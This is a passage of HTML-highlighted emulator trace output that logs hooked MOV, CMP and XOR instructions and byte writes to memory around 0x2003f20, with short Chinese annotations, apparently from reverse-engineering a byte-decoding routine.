class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000d40]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x07</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100156b: mov esi, <span class="number">0</span>xf</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001570: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001586: cmp esi, <span class="number">0</span>x1f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x3E</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000bed: mov esi, <span class="number">0</span>x22</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000bf2: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000c08: cmp esi, <span class="number">0</span>x45</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x45</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001511: mov esi, <span class="number">0</span>x2</span><br><span class="line"><span class="selector-attr">[XOR @0x1001525]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100152b: cmp esi, <span class="number">0</span>x5</span><br><span class="line"><span class="selector-attr">[XOR @0x1001525]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001525]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x2A</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000e7f: mov esi, <span class="number">0</span>x14</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000e99: cmp esi, <span class="number">0</span>x29</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e93]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x19</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010012b5: mov esi, <span class="number">0</span>xd</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010012cf: cmp esi, <span class="number">0</span>x1b</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10012c9]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x4E</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100119b: mov esi, <span class="number">0</span>x26</span><br><span class="line"><span class="selector-attr">[XOR @0x10011af]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span 